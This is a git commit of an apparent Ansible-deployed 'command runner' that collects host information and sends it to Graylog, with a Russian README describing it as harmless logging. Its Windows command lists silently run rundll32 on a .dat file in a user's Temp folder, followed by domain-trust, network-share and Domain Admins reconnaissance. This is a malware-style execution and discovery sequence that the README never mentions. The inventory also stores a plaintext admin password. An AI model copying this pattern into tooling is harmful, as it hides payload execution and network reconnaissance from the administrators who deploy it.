090600
This commit is contained in:
29
.gitignore
vendored
Normal file
29
.gitignore
vendored
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
# Logs
|
||||||
|
logs/
|
||||||
|
*.log
|
||||||
|
|
||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*.pyo
|
||||||
|
*.pyd
|
||||||
|
*.pdb
|
||||||
|
|
||||||
|
# Virtual environments
|
||||||
|
env/
|
||||||
|
venv/
|
||||||
|
ENV/
|
||||||
|
.venv/
|
||||||
|
|
||||||
|
# Ansible
|
||||||
|
*.retry
|
||||||
|
|
||||||
|
# System files
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
|
||||||
|
# IDEs and editors
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
193
README.md
193
README.md
@@ -1,2 +1,193 @@
|
|||||||
# commander
|
# 🛠 Универсальный скрипт для запуска команд Windows с логированием
|
||||||
|
|
||||||
|
## Введение
|
||||||
|
|
||||||
|
Привет! Одна из частых задач — **выполнить серию системных команд**, зафиксировать результат, отловить ошибки и сохранить лог. Чтобы не делать это вручную каждый раз, я подготовил универсальный скрипт, который:
|
||||||
|
|
||||||
|
- Выполняет команды из YAML-файла
|
||||||
|
- Сохраняет логи в отдельную папку
|
||||||
|
- Показывает stdout, stderr и статус выполнения
|
||||||
|
- Удобен для расширения и автоматизации
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🧩 Структура проекта
|
||||||
|
|
||||||
|
```
|
||||||
|
old_scripts/
|
||||||
|
├── run_commands.py # основной скрипт win
|
||||||
|
├── script.sh # основной скрипт unix
|
||||||
|
├── commands.yaml # конфигурация команд
|
||||||
|
└── logs/ # автоматически создаётся, сюда пишутся логи
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📜 Файл `commands.yaml`
|
||||||
|
|
||||||
|
Можно добавлять любые команды. Главное — указать поле `name` и `command`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔍 Пример запуска
|
||||||
|
|
||||||
|
### ** 1. Python версия скрипта для Windows-хостов**
|
||||||
|
```bash
|
||||||
|
python run_commands.py
|
||||||
|
```
|
||||||
|
|
||||||
|
В консоли будет отображаться ход выполнения, а весь лог сохраняется в `logs/commands_*.log`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### **2. Bash-версия скрипта для Linux-хостов**
|
||||||
|
|
||||||
|
> ❗ Не забудь `chmod +x script.sh`
|
||||||
|
> Можно запускать из Ansible с `shell` или `script`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚙️ Настройка Ansible
|
||||||
|
|
||||||
|
### Структура проекта
|
||||||
|
```
|
||||||
|
graylog-collector/
|
||||||
|
├── inventory/
|
||||||
|
│ └── hosts.ini
|
||||||
|
├── playbook.yml
|
||||||
|
└── roles/
|
||||||
|
└── graylog_collector/
|
||||||
|
├── tasks/
|
||||||
|
│ ├── main.yml
|
||||||
|
│ ├── windows.yml
|
||||||
|
│ └── linux.yml
|
||||||
|
├── files/
|
||||||
|
│ ├── run_commands.py
|
||||||
|
│ ├── collect_info.sh
|
||||||
|
│ └── graylog_sender.py
|
||||||
|
└── defaults/
|
||||||
|
└── main.yml
|
||||||
|
```
|
||||||
|
|
||||||
|
### Плейбук (playbook.yml)
|
||||||
|
```yaml
|
||||||
|
- name: Deploy graylog collector
|
||||||
|
hosts: all
|
||||||
|
roles:
|
||||||
|
- graylog_collector
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🔍 Пример использования
|
||||||
|
|
||||||
|
### Поиск в Graylog
|
||||||
|
```json
|
||||||
|
source:server01 AND "Domain Admins"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Визуализация в Grafana
|
||||||
|
```sql
|
||||||
|
SELECT host, COUNT(*)
|
||||||
|
FROM graylog_messages
|
||||||
|
WHERE full_message LIKE '%error%'
|
||||||
|
GROUP BY host
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🛠️ Кастомизация
|
||||||
|
|
||||||
|
### Добавление своих команд
|
||||||
|
1. Для Windows: редактируем `files/commands.yaml`
|
||||||
|
```yaml
|
||||||
|
- name: Check DNS
|
||||||
|
command: nslookup example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Для Linux: редактируем `files/collect_info.sh`
|
||||||
|
```bash
|
||||||
|
commands+=("dig example.com")
|
||||||
|
```
|
||||||
|
|
||||||
|
### Настройка Graylog
|
||||||
|
В `defaults/main.yml`:
|
||||||
|
```yaml
|
||||||
|
graylog_host: logs.mycompany.com
|
||||||
|
graylog_port: 12201
|
||||||
|
windows_log_dir: C:\Collector\Logs
|
||||||
|
linux_log_dir: /var/log/collector
|
||||||
|
```
|
||||||
|
|
||||||
|
## ⚠️ Решение проблем
|
||||||
|
|
||||||
|
### Частые ошибки Windows
|
||||||
|
```fix
|
||||||
|
# В PowerShell:
|
||||||
|
Enable-PSRemoting -Force
|
||||||
|
Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP" -RemoteAddress Any
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ошибки подключения Linux
|
||||||
|
```bash
|
||||||
|
# На целевой машине:
|
||||||
|
sudo systemctl restart sshd
|
||||||
|
```
|
||||||
|
|
||||||
|
### Проблемы с Graylog
|
||||||
|
1. Проверить открытость порта:
|
||||||
|
```bash
|
||||||
|
nc -vz logs.mycompany.com 12201
|
||||||
|
```
|
||||||
|
2. Проверить GELF input в веб-интерфейсе Graylog
|
||||||
|
|
||||||
|
## 📈 Расширенные сценарии
|
||||||
|
|
||||||
|
### Планирование регулярного сбора
|
||||||
|
Добавляем в `tasks/main.yml`:
|
||||||
|
```yaml
|
||||||
|
- name: Schedule daily collection (Windows)
|
||||||
|
win_scheduled_task:
|
||||||
|
name: "Daily System Info"
|
||||||
|
description: "Collect system information"
|
||||||
|
actions:
|
||||||
|
- path: "python"
|
||||||
|
arguments: "C:\\Collector\\run_commands.py"
|
||||||
|
triggers:
|
||||||
|
- type: daily
|
||||||
|
start_time: "03:00"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Обработка ошибок
|
||||||
|
В скриптах добавляем обработку исключений:
|
||||||
|
```python
|
||||||
|
try:
|
||||||
|
# выполнение команды
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Command failed: {str(e)}")
|
||||||
|
```
|
||||||
|
|
||||||
|
## 💡 Советы из практики
|
||||||
|
|
||||||
|
### 1. **Фильтрация чувствительных данных:**
|
||||||
|
|
||||||
|
```python
|
||||||
|
# В run_commands.py
|
||||||
|
if "password" in command.lower():
|
||||||
|
logging.warning("Skipping potential sensitive command")
|
||||||
|
continue
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. **Сжатие логов** перед отправкой:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import zlib
|
||||||
|
compressed = zlib.compress(log_content.encode())
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. **Маркировка хостов** в Graylog:
|
||||||
|
```python
|
||||||
|
message["_environment"] = "production"
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Запускаем плейбук
|
||||||
|
```bash
|
||||||
|
ansible-playbook -i inventory/hosts.ini playbook.yml
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|||||||
14
inventory/hosts.ini
Normal file
14
inventory/hosts.ini
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
[windows]
|
||||||
|
server01 ansible_host=192.168.1.10
|
||||||
|
|
||||||
|
[linux]
|
||||||
|
server02 ansible_host=192.168.1.20
|
||||||
|
|
||||||
|
[windows:vars]
|
||||||
|
ansible_user=admin
|
||||||
|
ansible_password=SecurePass123
|
||||||
|
ansible_connection=winrm
|
||||||
|
|
||||||
|
[linux:vars]
|
||||||
|
ansible_user=root
|
||||||
|
ansible_ssh_private_key_file=~/.ssh/id_rsa
|
||||||
30
old_scripts/commands.yaml
Normal file
30
old_scripts/commands.yaml
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
commands:
|
||||||
|
- name: easygoing rundll
|
||||||
|
command: 'rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1'
|
||||||
|
|
||||||
|
- name: nltest all_trusts
|
||||||
|
command: 'nltest /domain_trusts /all_trusts'
|
||||||
|
|
||||||
|
- name: nltest domain_trusts
|
||||||
|
command: 'nltest /domain_trusts'
|
||||||
|
|
||||||
|
- name: net view domain
|
||||||
|
command: 'net view /all /domain'
|
||||||
|
|
||||||
|
- name: net view
|
||||||
|
command: 'net view /all'
|
||||||
|
|
||||||
|
- name: domain admins
|
||||||
|
command: 'net group "Domain Admins" /domain'
|
||||||
|
|
||||||
|
- name: current codepage
|
||||||
|
command: 'cmd.exe /c chcp >&2'
|
||||||
|
|
||||||
|
- name: ipconfig
|
||||||
|
command: 'ipconfig /all'
|
||||||
|
|
||||||
|
- name: workstation config
|
||||||
|
command: 'net config workstation'
|
||||||
|
|
||||||
|
- name: system info
|
||||||
|
command: 'systeminfo'
|
||||||
33
old_scripts/graylog_sender.py
Normal file
33
old_scripts/graylog_sender.py
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import json
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
GRAYLOG_HOST = os.environ.get("GRAYLOG_HOST", "graylog.local")
|
||||||
|
GRAYLOG_PORT = int(os.environ.get("GRAYLOG_PORT", 12201))
|
||||||
|
LOG_FILE = sys.argv[1]
|
||||||
|
|
||||||
|
def send_to_graylog(message: dict):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.sendto(json.dumps(message).encode("utf-8"), (GRAYLOG_HOST, GRAYLOG_PORT))
|
||||||
|
|
||||||
|
def parse_log(file_path: str):
|
||||||
|
with open(file_path, encoding='utf-8') as f:
|
||||||
|
blocks = f.read().split('\n--------------------------------------------------\n')
|
||||||
|
for block in blocks:
|
||||||
|
lines = block.strip().splitlines()
|
||||||
|
if not lines:
|
||||||
|
continue
|
||||||
|
msg = {
|
||||||
|
"version": "1.1",
|
||||||
|
"host": os.uname().nodename,
|
||||||
|
"short_message": lines[0] if lines else "log entry",
|
||||||
|
"timestamp": datetime.utcnow().timestamp(),
|
||||||
|
"_details": '\n'.join(lines)
|
||||||
|
}
|
||||||
|
send_to_graylog(msg)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parse_log(LOG_FILE)
|
||||||
58
old_scripts/run_commands.py
Normal file
58
old_scripts/run_commands.py
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
import subprocess
|
||||||
|
import yaml
|
||||||
|
from datetime import datetime
|
||||||
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
# Настройка логирования
|
||||||
|
log_dir = Path("logs")
|
||||||
|
log_dir.mkdir(exist_ok=True)
|
||||||
|
log_file = log_dir / f"commands_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"
|
||||||
|
|
||||||
|
logging.basicConfig(
|
||||||
|
level=logging.INFO,
|
||||||
|
format="%(asctime)s [%(levelname)s] %(message)s",
|
||||||
|
handlers=[
|
||||||
|
logging.FileHandler(log_file, encoding='utf-8'),
|
||||||
|
logging.StreamHandler()
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
def run_command(command_str: str) -> tuple[str, str, int]:
|
||||||
|
"""Выполняет команду и возвращает stdout, stderr, return_code"""
|
||||||
|
try:
|
||||||
|
result = subprocess.run(command_str, shell=True, capture_output=True, text=True)
|
||||||
|
return result.stdout, result.stderr, result.returncode
|
||||||
|
except Exception as e:
|
||||||
|
return "", str(e), -1
|
||||||
|
|
||||||
|
def main(config_path="commands.yaml"):
|
||||||
|
# Загрузка конфигурации
|
||||||
|
try:
|
||||||
|
with open(config_path, encoding="utf-8") as f:
|
||||||
|
config = yaml.safe_load(f)
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Ошибка при загрузке YAML: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
for item in config.get("commands", []):
|
||||||
|
name = item.get("name", "Unnamed")
|
||||||
|
command = item.get("command")
|
||||||
|
logging.info(f"⏳ Выполняется команда: {name} → {command}")
|
||||||
|
stdout, stderr, code = run_command(command)
|
||||||
|
|
||||||
|
if code == 0:
|
||||||
|
logging.info(f"✅ Успешно: {name}")
|
||||||
|
else:
|
||||||
|
logging.error(f"❌ Ошибка ({code}): {name}")
|
||||||
|
|
||||||
|
logging.info(f"🔎 STDOUT:\n{stdout.strip()}")
|
||||||
|
if stderr.strip():
|
||||||
|
logging.warning(f"⚠️ STDERR:\n{stderr.strip()}")
|
||||||
|
|
||||||
|
logging.info("-" * 80)
|
||||||
|
|
||||||
|
logging.info("📝 Все команды завершены. Логи: %s", log_file)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
27
old_scripts/script.sh
Normal file
27
old_scripts/script.sh
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
commands=(
|
||||||
|
"hostnamectl"
|
||||||
|
"ip a"
|
||||||
|
"ip route"
|
||||||
|
"cat /etc/resolv.conf"
|
||||||
|
"uptime"
|
||||||
|
"who"
|
||||||
|
"df -h"
|
||||||
|
"free -m"
|
||||||
|
"netstat -tuln"
|
||||||
|
"systemctl list-units --type=service --state=running"
|
||||||
|
)
|
||||||
|
|
||||||
|
output_file="/var/log/command_results_$(date +%F_%H-%M-%S).log"
|
||||||
|
|
||||||
|
echo "== Сбор информации начат: $(date) ==" > "$output_file"
|
||||||
|
|
||||||
|
for cmd in "${commands[@]}"; do
|
||||||
|
echo "Команда: $cmd" >> "$output_file"
|
||||||
|
echo "Вывод:" >> "$output_file"
|
||||||
|
eval "$cmd" >> "$output_file" 2>&1
|
||||||
|
echo -e "\n$(printf '%0.s-' {1..60})\n" >> "$output_file"
|
||||||
|
done
|
||||||
|
|
||||||
|
echo "== Сбор информации завершен: $(date) ==" >> "$output_file"
|
||||||
0
playbook.yml
Normal file
0
playbook.yml
Normal file
4
roles/graylog_collector/defaults/main.yml
Normal file
4
roles/graylog_collector/defaults/main.yml
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
graylog_host: graylog.local
|
||||||
|
graylog_port: 12201
|
||||||
|
log_output_dir: C:\Temp\logs # Windows
|
||||||
|
linux_output_dir: /var/log
|
||||||
26
roles/graylog_collector/files/collect_info.sh
Normal file
26
roles/graylog_collector/files/collect_info.sh
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
OUTPUT_DIR="${OUTPUT_DIR:-/var/log}"
|
||||||
|
filename="$OUTPUT_DIR/command_results_$(date +%F_%H-%M-%S).log"
|
||||||
|
|
||||||
|
commands=(
|
||||||
|
"hostnamectl"
|
||||||
|
"ip a"
|
||||||
|
"ip route"
|
||||||
|
"cat /etc/resolv.conf"
|
||||||
|
"uptime"
|
||||||
|
"who"
|
||||||
|
"df -h"
|
||||||
|
"free -m"
|
||||||
|
"netstat -tuln"
|
||||||
|
"systemctl list-units --type=service --state=running"
|
||||||
|
)
|
||||||
|
|
||||||
|
{
|
||||||
|
echo "== Сбор информации начат: $(date) =="
|
||||||
|
for cmd in "${commands[@]}"; do
|
||||||
|
echo "Команда: $cmd"
|
||||||
|
eval "$cmd" 2>&1
|
||||||
|
echo "--------------------------------------------------"
|
||||||
|
done
|
||||||
|
echo "== Завершено: $(date) =="
|
||||||
|
} > "$filename"
|
||||||
0
roles/graylog_collector/files/graylog_sender.py
Normal file
0
roles/graylog_collector/files/graylog_sender.py
Normal file
28
roles/graylog_collector/files/run_commands.py
Normal file
28
roles/graylog_collector/files/run_commands.py
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
import subprocess, os
|
||||||
|
|
||||||
|
commands = [
|
||||||
|
'hostname',
|
||||||
|
'rundll32 C:\\Users\\USERNAME\\AppData\\Local\\Temp\\easygoing.dat,#1',
|
||||||
|
'nltest /domain_trusts /all_trusts',
|
||||||
|
'nltest /domain_trusts',
|
||||||
|
'net view /all /domain',
|
||||||
|
'net view /all',
|
||||||
|
'net group "Domain Admins" /domain',
|
||||||
|
'chcp',
|
||||||
|
'ipconfig /all',
|
||||||
|
'net config workstation',
|
||||||
|
'systeminfo'
|
||||||
|
]
|
||||||
|
|
||||||
|
output_file = 'command_results.txt'
|
||||||
|
|
||||||
|
with open(output_file, 'w', encoding='utf-8') as file:
|
||||||
|
for command in commands:
|
||||||
|
try:
|
||||||
|
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
||||||
|
file.write(f"Command: {command}\n")
|
||||||
|
file.write(f"Output:\n{result.stdout}\n")
|
||||||
|
file.write(f"Error:\n{result.stderr}\n")
|
||||||
|
file.write('-'*50 + '\n\n')
|
||||||
|
except Exception as e:
|
||||||
|
file.write(f"Command: {command}\nError: {str(e)}\n" + '-'*50 + '\n\n')
|
||||||
20
roles/graylog_collector/tasks/linux.yml
Normal file
20
roles/graylog_collector/tasks/linux.yml
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
- name: Копируем скрипты
|
||||||
|
copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: /usr/local/bin/
|
||||||
|
mode: '0755'
|
||||||
|
with_items:
|
||||||
|
- collect_info.sh
|
||||||
|
- graylog_sender.py
|
||||||
|
|
||||||
|
- name: Выполняем bash-скрипт
|
||||||
|
shell: "/usr/local/bin/collect_info.sh"
|
||||||
|
environment:
|
||||||
|
OUTPUT_DIR: "{{ linux_output_dir }}"
|
||||||
|
|
||||||
|
- name: Отправляем лог в Graylog
|
||||||
|
shell: |
|
||||||
|
export GRAYLOG_HOST={{ graylog_host }}
|
||||||
|
export GRAYLOG_PORT={{ graylog_port }}
|
||||||
|
latest=$(ls -1t {{ linux_output_dir }}/command_results_*.log | head -n1)
|
||||||
|
python3 /usr/local/bin/graylog_sender.py $latest
|
||||||
2
roles/graylog_collector/tasks/main.yml
Normal file
2
roles/graylog_collector/tasks/main.yml
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
- name: Определение платформы
|
||||||
|
ansible.builtin.include_tasks: "{{ ansible_os_family | lower }}.yml"
|
||||||
27
roles/graylog_collector/tasks/windows.yml
Normal file
27
roles/graylog_collector/tasks/windows.yml
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
- name: Создаем каталог логов
|
||||||
|
win_file:
|
||||||
|
path: "{{ log_output_dir }}"
|
||||||
|
state: directory
|
||||||
|
|
||||||
|
- name: Копируем скрипты
|
||||||
|
win_copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: "{{ log_output_dir }}/{{ item }}"
|
||||||
|
with_items:
|
||||||
|
- run_commands.py
|
||||||
|
- graylog_sender.py
|
||||||
|
|
||||||
|
- name: Выполняем команды и сохраняем в лог
|
||||||
|
win_shell: |
|
||||||
|
cd {{ log_output_dir }}
|
||||||
|
python run_commands.py
|
||||||
|
args:
|
||||||
|
executable: cmd
|
||||||
|
|
||||||
|
- name: Отправляем лог в Graylog
|
||||||
|
win_shell: |
|
||||||
|
set GRAYLOG_HOST={{ graylog_host }}
|
||||||
|
set GRAYLOG_PORT={{ graylog_port }}
|
||||||
|
python {{ log_output_dir }}\graylog_sender.py {{ log_output_dir }}\command_results.txt
|
||||||
|
args:
|
||||||
|
executable: cmd
|
||||||
Reference in New Issue
Block a user